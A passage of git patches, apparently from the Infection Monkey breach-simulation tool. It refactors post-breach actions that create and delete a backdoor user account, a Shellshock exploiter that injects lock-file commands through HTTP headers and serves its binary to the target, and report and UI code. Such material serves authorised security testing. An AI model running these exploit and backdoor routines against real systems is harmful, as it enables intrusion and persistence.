CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() - return - except subprocess.CalledProcessError as e: - PostBreachTelem(self, (e.output, False)).send() - return + self.communicate_as_new_user_linux(username) - def try_to_create_user_windows(self, username, password): + def communicate_as_new_user_linux(self, username): try: - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password, True) - logger.debug("Trying these commands: {}".format(str(windows_cmds))) - subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) - return True - except subprocess.CalledProcessError as e: + linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + commandline = "ping -c 2 google.com" + linux_cmds.extend([";", "sudo", "-u", username, commandline]) + final_command = ' '.join(linux_cmds) + logger.debug("Trying to execute these commands: {}".format(final_command)) + output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( - "Couldn't create the user '{}'. Error output is: '{}'".format(username, e.output), False)).send() - return False + CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() + except subprocess.CalledProcessError as e: + PostBreachTelem(self, (e.output, False)).send() + + def communicate_as_new_user_windows(self, username): + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32api + + try: + with NewUser(username, PASSWORD) as new_user: + # Using os.path is OK, as this is on windows for sure + ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") + if not os.path.exists(ping_app_path): + PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send() + return # Can't continue without ping. + + try: + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2") + process_handle = win32process.CreateProcessAsUser( + new_user.get_logon_handle(), # A handle to the primary token that represents a user. + None, # The name of the module to be executed. + commandline, # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + + PostBreachTelem(self, + (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() + + win32api.CloseHandle(process_handle[0]) # Process handle + win32api.CloseHandle(process_handle[1]) # Thread handle + + except Exception as e: + # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the + # "Replace a process level token" right, using Local Security Policy editing. Worked, but only + # after reboot. So: + # 1. need to decide if worth it, and then + # 2. need to find how to do this using python... + PostBreachTelem(self, ( + "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() + + # Nothing more we can do. Leak the process handle. + except subprocess.CalledProcessError as err: + PostBreachTelem(self, ( + "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)), + False)).send() + except NewUserError as e: + PostBreachTelem(self, (str(e), False)).send() From 51117edbea687756d3b0d7e6d9b7a0ef85160a66 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 21:32:04 +0300 Subject: [PATCH 235/276] Add deletion of users --- .../monkey_utils/windows/new_user.py | 15 ++++++++++----- .../post_breach/actions/add_user.py | 18 ++++++++++++++++-- .../actions/communicate_as_new_user.py | 5 ++++- 3 files changed, 30 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py index be6e2534d..14db5c1ae 100644 --- a/monkey/infection_monkey/monkey_utils/windows/new_user.py +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -2,7 +2,6 @@ import logging import subprocess from infection_monkey.post_breach.actions.add_user import BackdoorUser -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem logger = logging.getLogger(__name__) @@ -17,14 +16,14 @@ class NewUser(object): RAII object to use for creating and using a new user in Windows. Use with `with`. User will be created when the instance is instantiated. User will log on start of `with` scope. - User will log off on end of `with` scope. + User will log off and get deleted on end of `with` scope. Example: # Created # Logged on with NewUser("user", "pass") as new_user: ... ... - # Logged off + # Logged off and deleted ... """ def __init__(self, username, password): @@ -36,7 +35,6 @@ class NewUser(object): self.password = password windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True) - logger.debug("Trying these commands: {}".format(str(windows_cmds))) _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) def __enter__(self): @@ -60,5 +58,12 @@ class NewUser(object): return self.logon_handle def __exit__(self, exc_type, exc_val, exc_tb): + # Logoff self.logon_handle.Close() - # TODO Delete user + + # Try to delete user + try: + _ = subprocess.check_output( + BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) + except Exception as err: + raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index b82c59a66..9bb8cfcba 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -22,7 +22,7 @@ class BackdoorUser(PBA): @staticmethod def get_linux_commands_to_add_user(username): - linux_cmds = [ + return [ 'useradd', '-M', # Do not create homedir '--expiredate', @@ -32,7 +32,13 @@ class BackdoorUser(PBA): '-c', # Comment 'MONKEY_USER', # Comment username] - return linux_cmds + + @staticmethod + def get_linux_commands_to_delete_user(username): + return [ + 'deluser', + username + ] @staticmethod def get_windows_commands_to_add_user(username, password, should_be_active=False): @@ -45,3 +51,11 @@ class BackdoorUser(PBA): if not should_be_active: windows_cmds.append('/ACTIVE:NO') return windows_cmds + + @staticmethod + def get_windows_commands_to_delete_user(username): + return [ + 'net', + 'user', + username, + '/delete'] diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 8869a225f..590912c0b 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -38,14 +38,17 @@ class CommunicateAsNewUser(PBA): def communicate_as_new_user_linux(self, username): try: + # add user + ping linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) commandline = "ping -c 2 google.com" linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) - logger.debug("Trying to execute these commands: {}".format(final_command)) output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() + # delete the user + _ = subprocess.check_output( + BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() From e520df4c34aa7750362761011d68ae6b750ed201 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 21:40:36 +0300 Subject: [PATCH 236/276] Fixed events length check --- .../src/components/report-components/zerotrust/EventsButton.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index f7a3fbbe5..ea24e7b1a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -33,7 +33,7 @@ export default class EventsButton extends Component { createEventsAmountBadge() { let eventsAmountBadge; - if (this.props.events.length > 10) { + if (this.props.events.length > 9) { eventsAmountBadge = 9+; } else { eventsAmountBadge = {this.props.events.length}; From ee10ca90507b8ba100fb99f292e91fae8bf43fbe Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Fri, 6 Sep 2019 11:11:19 +0700 Subject: [PATCH 237/276] move try_lock to HostExploiter --- monkey/infection_monkey/exploit/__init__.py | 10 ++++ monkey/infection_monkey/exploit/shellshock.py | 47 +++++++++---------- 2 files changed, 31 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 9db1bad47..a75675942 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -76,6 +76,16 @@ class HostExploiter(object): powershell = True if "powershell" in cmd.lower() else False self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + def _try_lock(self, create_file_fn, path): + """ + Create temporary file on target machine to avoid collision of long-running exploiters + :return: True if no other monkey is running same exploit + """ + return create_file_fn(path) + + def _exit_lock(self, remove_file_fn, path): + remove_file_fn(path) + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 8b18590de..46de37797 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -20,6 +20,7 @@ LOG = logging.getLogger(__name__) TIMEOUT = 2 TEST_COMMAND = '/bin/uname -a' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +LOCK_HELPER_FILE = '/tmp/monkey_shellshock' class ShellShockExploiter(HostExploiter): @@ -108,8 +109,10 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - if not self._try_lock(exploit, url, header): - continue + if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header), + path=LOCK_HELPER_FILE): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) @@ -127,7 +130,8 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - self._exit_lock(exploit, url, header) + self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header), + path=LOCK_HELPER_FILE) if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): @@ -187,30 +191,21 @@ class ShellShockExploiter(HostExploiter): LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return False, - @classmethod - def _try_lock(cls, exploit, url, header): - """ - Checks if another monkey is running shellshock exploit - :return: True if no monkey is running shellshock exploit - """ - file_path = '/tmp/monkey_lock' - if cls.check_remote_file_exists(url, header, exploit, file_path): - LOG.info("Another monkey is running shellshock exploit") - return False - cmdline = 'echo AAAA > %s' % file_path - run_path = exploit + cmdline - cls.attack_page(url, header, run_path) - return True + def _create_lock_file(self, exploit, url, header): + def f(filepath): + if self.check_remote_file_exists(url, header, exploit, filepath): + LOG.info("Another monkey is running shellshock exploit") + return False + cmd = exploit + 'echo AAAA > %s' % filepath + self.attack_page(url, header, cmd) + return True + return f - @classmethod - def _exit_lock(cls, exploit, url, header): - """ - Remove lock file from target machine - """ - file_path = '/tmp/monkey_lock' - cmdline = 'rm %s' % file_path - run_path = exploit + cmdline - cls.attack_page(url, header, run_path) + def _remove_lock_file(self, exploit, url, header): + def f(filepath): + cmd = exploit + 'rm %s' % filepath + self.attack_page(url, header, cmd) + return f @staticmethod def attack_page(url, header, attack): From 7b0bf71279112196954c7be834bc20fa5c2390b2 Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Sat, 7 Sep 2019 07:14:11 +0700 Subject: [PATCH 238/276] update --- monkey/infection_monkey/exploit/__init__.py | 12 +-------- monkey/infection_monkey/exploit/shellshock.py | 27 +++++++------------ 2 files changed, 11 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index a75675942..ad38f50ce 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -75,17 +75,7 @@ class HostExploiter(object): """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) - - def _try_lock(self, create_file_fn, path): - """ - Create temporary file on target machine to avoid collision of long-running exploiters - :return: True if no other monkey is running same exploit - """ - return create_file_fn(path) - - def _exit_lock(self, remove_file_fn, path): - remove_file_fn(path) - + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 46de37797..78e668fc1 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -109,9 +109,8 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header), - path=LOCK_HELPER_FILE): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + if not self._create_lock_file(exploit, url, header): + LOG.info("Another monkey is running shellshock exploit") return True http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) @@ -130,8 +129,7 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header), - path=LOCK_HELPER_FILE) + self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): @@ -192,20 +190,15 @@ class ShellShockExploiter(HostExploiter): return False, def _create_lock_file(self, exploit, url, header): - def f(filepath): - if self.check_remote_file_exists(url, header, exploit, filepath): - LOG.info("Another monkey is running shellshock exploit") - return False - cmd = exploit + 'echo AAAA > %s' % filepath - self.attack_page(url, header, cmd) - return True - return f + if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): + return False + cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) + return True def _remove_lock_file(self, exploit, url, header): - def f(filepath): - cmd = exploit + 'rm %s' % filepath - self.attack_page(url, header, cmd) - return f + cmd = exploit + 'rm %s' % LOCK_HELPER_FILE + self.attack_page(url, header, cmd) @staticmethod def attack_page(url, header, attack): From f78e76bdee4c9a4eccd4a1a25fc70d0bfc654909 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sat, 7 Sep 2019 18:49:59 +0300 Subject: [PATCH 239/276] Renamed process_handle to process_info and removed bad comment --- .../post_breach/actions/communicate_as_new_user.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 590912c0b..9db9bd436 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -70,7 +70,7 @@ class CommunicateAsNewUser(PBA): # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2") - process_handle = win32process.CreateProcessAsUser( + process_info = win32process.CreateProcessAsUser( new_user.get_logon_handle(), # A handle to the primary token that represents a user. None, # The name of the module to be executed. commandline, # The command line to be executed. @@ -89,8 +89,8 @@ class CommunicateAsNewUser(PBA): PostBreachTelem(self, (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() - win32api.CloseHandle(process_handle[0]) # Process handle - win32api.CloseHandle(process_handle[1]) # Thread handle + win32api.CloseHandle(process_info[0]) # Process handle + win32api.CloseHandle(process_info[1]) # Thread handle except Exception as e: # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the @@ -100,8 +100,6 @@ class CommunicateAsNewUser(PBA): # 2. need to find how to do this using python... PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() - - # Nothing more we can do. Leak the process handle. except subprocess.CalledProcessError as err: PostBreachTelem(self, ( "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)), From 72cae8624ce9bdb012d30a5bb1ac015cf17a3288 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:45:20 +0300 Subject: [PATCH 240/276] Move AWS exporting to proper subfolder --- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/services/report.py | 2 +- monkey/monkey_island/cc/services/reporting/__init__.py | 0 .../cc/{resources => services/reporting}/aws_exporter.py | 2 +- .../cc/{resources => services/reporting}/exporter.py | 0 .../cc/{ => services/reporting}/exporter_init.py | 4 ++-- .../cc/{ => services/reporting}/report_exporter_manager.py | 0 7 files changed, 5 insertions(+), 5 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/__init__.py rename monkey/monkey_island/cc/{resources => services/reporting}/aws_exporter.py (99%) rename monkey/monkey_island/cc/{resources => services/reporting}/exporter.py (100%) rename monkey/monkey_island/cc/{ => services/reporting}/exporter_init.py (78%) rename monkey/monkey_island/cc/{ => services/reporting}/report_exporter_manager.py (100%) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 5b9bda8cb..b6c7cb7ab 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from monkey_island.cc.exporter_init import populate_exporter_list +from cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 54bb6f74e..2b89be782 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -11,7 +11,7 @@ from six import text_type from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.report_exporter_manager import ReportExporterManager +from cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py similarity index 99% rename from monkey/monkey_island/cc/resources/aws_exporter.py rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py index 52ccfeb5d..52f3797a3 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from monkey_island.cc.resources.exporter import Exporter +from cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py similarity index 100% rename from monkey/monkey_island/cc/resources/exporter.py rename to monkey/monkey_island/cc/services/reporting/exporter.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py similarity index 78% rename from monkey/monkey_island/cc/exporter_init.py rename to monkey/monkey_island/cc/services/reporting/exporter_init.py index fdf26fe8f..b6304927f 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,7 +1,7 @@ import logging -from monkey_island.cc.report_exporter_manager import ReportExporterManager -from monkey_island.cc.resources.aws_exporter import AWSExporter +from cc.services.reporting.report_exporter_manager import ReportExporterManager +from cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py similarity index 100% rename from monkey/monkey_island/cc/report_exporter_manager.py rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py From 004cfa17f3d5bd66985b45d2c0775e574c4ece4c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:45:58 +0300 Subject: [PATCH 241/276] Bugfix, add AWS exporter only when running with AWS config. --- monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index b6304927f..7a9c0d64f 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -3,14 +3,14 @@ import logging from cc.services.reporting.report_exporter_manager import ReportExporterManager from cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService - +from monkey_island.cc.environment.environment import env logger = logging.getLogger(__name__) def populate_exporter_list(): manager = ReportExporterManager() RemoteRunAwsService.init() - if RemoteRunAwsService.is_running_on_aws(): + if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()): manager.add_exporter_to_list(AWSExporter) if len(manager.get_exporters_list()) != 0: From bf3ad35124848ef3b4a9c682e5881e6590c565b6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 19:54:41 +0300 Subject: [PATCH 242/276] Move try catch to better handle multiple exporters --- .../cc/services/reporting/report_exporter_manager.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index 5e51a43e1..c934618db 100644 --- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -27,9 +27,9 @@ class ReportExporterManager(object): self._exporters_set.add(exporter) def export(self, report): - try: - for exporter in self._exporters_set: - logger.debug("Trying to export using " + repr(exporter)) + for exporter in self._exporters_set: + logger.debug("Trying to export using " + repr(exporter)) + try: exporter().handle_report(report) - except Exception as e: - logger.exception('Failed to export report, error: ' + e.message) + except Exception as e: + logger.exception('Failed to export report, error: ' + e.message) From dc2686301cc85e7e593d9ae502cedb0d3f4a863d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 10:20:23 +0300 Subject: [PATCH 243/276] Fixed notification link and updated legend texts --- monkey/monkey_island/cc/ui/src/components/Main.js | 9 ++++++--- .../report-components/zerotrust/ReportLegend.js | 7 +++---- 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 982791782..3a51103c9 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -29,6 +29,8 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg'); let guardicoreLogoImage = require('../images/guardicore-logo.png'); let notificationIcon = require('../images/notification-logo-512x512.png'); +const reportZeroTrustPath = '/report/zero_trust'; + class AppComponent extends AuthComponent { updateStatus = () => { this.auth.loggedIn() @@ -200,7 +202,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report/security', )} - {this.renderRoute('/report/zero_trust', )} + {this.renderRoute(reportZeroTrustPath, )} {this.renderRoute('/license', )} @@ -211,8 +213,9 @@ class AppComponent extends AuthComponent { showInfectionDoneNotification() { if (this.state.completedSteps.infection_done) { - let hostname = window.location.hostname; - let url = `https://${hostname}:5000/report`; + const hostname = window.location.hostname; + const port = window.location.port; + let url = `https://${hostname}:${port}/${reportZeroTrustPath}`; console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon); Notifier.start( diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 143120793..34c18eb26 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -27,19 +27,18 @@ class ZeroTrustReportLegend extends Component { getLegendContent() { return
    -

    Statuses

    • - {"\t"}Some tests failed; the monkeys found something wrong. + {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
    • - {"\t"}The test ran; manual verification is required to determine the results. + {"\t"}At least one of the tests’ results related to this component requires further manual verification.
    • @@ -55,7 +54,7 @@ class ZeroTrustReportLegend extends Component {

    - Some of the tests can be activated using the configuration. + To activate more tests, go to the Monkey configuration page.n
    ; } } From e010ea5b39f48af14a32fb82ebfab6b2b2ef35dc Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 5 Sep 2019 21:11:20 +0300 Subject: [PATCH 244/276] Fully explict path all the things --- monkey/monkey_island/cc/main.py | 2 +- monkey/monkey_island/cc/services/report.py | 4 ++-- monkey/monkey_island/cc/services/reporting/aws_exporter.py | 2 +- monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++-- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index b6c7cb7ab..8c817e935 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from cc.services.reporting.exporter_init import populate_exporter_list +from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2b89be782..409586e66 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -11,12 +11,12 @@ from six import text_type from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses, get_subnets -from pth_report import PTHReportService +from monkey_island.cc.services.pth_report import PTHReportService from common.network.network_range import NetworkRange __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 52f3797a3..84940df56 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from cc.services.reporting.exporter import Exporter +from monkey_island.cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index 7a9c0d64f..bd4e82f3e 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,7 +1,7 @@ import logging -from cc.services.reporting.report_exporter_manager import ReportExporterManager -from cc.services.reporting.aws_exporter import AWSExporter +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.environment.environment import env logger = logging.getLogger(__name__) From 313911fd77ede40cccb08016de320c5715ad1ba8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 11:38:37 +0300 Subject: [PATCH 245/276] Deleted console log + fixed link in notification --- monkey/monkey_island/cc/ui/src/components/Main.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 3a51103c9..5d2f6b898 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -215,8 +215,7 @@ class AppComponent extends AuthComponent { if (this.state.completedSteps.infection_done) { const hostname = window.location.hostname; const port = window.location.port; - let url = `https://${hostname}:${port}/${reportZeroTrustPath}`; - console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon); + let url = `https://${hostname}:${port}${reportZeroTrustPath}`; Notifier.start( "Monkey Island", From 63d76f19f866519e18e4066fbfe507742554b8a7 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 9 Sep 2019 11:47:16 +0300 Subject: [PATCH 246/276] Updated notification to only show if the island is not on the report page already --- .../cc/ui/src/components/Main.js | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js 